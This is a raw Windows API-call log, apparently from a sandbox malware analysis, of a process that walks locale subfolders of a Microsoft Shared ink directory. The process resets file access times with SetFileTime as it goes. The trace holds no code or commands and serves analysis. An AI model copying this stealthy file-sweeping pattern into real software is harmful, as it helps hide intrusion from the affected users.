FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0049.569] GetLastError () returned 0x12 [0049.569] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0049.569] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0049.569] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0049.569] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.569] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0049.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.569] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.570] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0049.570] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0049.570] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf958e8 [0049.570] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf958e8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf958e8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0049.570] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf958e8) returned 1 [0049.570] NtClose (Handle=0x190) returned 0x0 [0049.570] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.570] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.570] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0049.570] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0049.570] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0049.570] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.570] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.570] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.570] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.570] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.570] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.570] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.570] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0049.570] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0049.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf910d0 [0049.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf94c98 [0049.571] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.571] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0049.571] GetLastError () returned 0x12 [0049.571] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0049.571] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0049.571] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.571] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.571] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0049.571] GetLastError () returned 0x12 [0049.571] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0049.571] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0049.571] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0049.571] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.571] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0049.571] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0049.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.571] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0049.572] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0049.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf958e8 [0049.572] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf958e8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf958e8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0049.572] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf958e8) returned 1 [0049.572] NtClose (Handle=0x184) returned 0x0 [0049.572] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0049.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.572] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0049.572] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.572] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0049.572] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0049.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0049.572] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0049.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0049.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0049.572] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0049.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf910f0 [0049.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf94da0 [0049.572] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0049.572] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0049.572] GetLastError () returned 0x12 [0049.572] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0049.573] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0049.573] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.573] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.573] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0049.573] GetLastError () returned 0x12 [0049.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.573] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0049.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0049.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.573] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0049.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.573] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0050.912] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0050.912] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf958e8 [0050.913] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf958e8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf958e8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0050.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf958e8) returned 1 [0050.913] NtClose (Handle=0x190) returned 0x0 [0050.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.913] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.913] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0050.913] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0050.913] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0050.913] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.913] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.913] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0050.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0050.913] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0050.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0050.913] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0050.913] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0050.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0050.913] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf91110 [0050.913] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf94ea8 [0050.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0050.913] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.913] GetLastError () returned 0x12 [0050.913] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0050.913] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0050.914] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.914] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.914] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.914] GetLastError () returned 0x12 [0050.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0050.914] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0050.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0050.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.914] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0050.914] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.914] 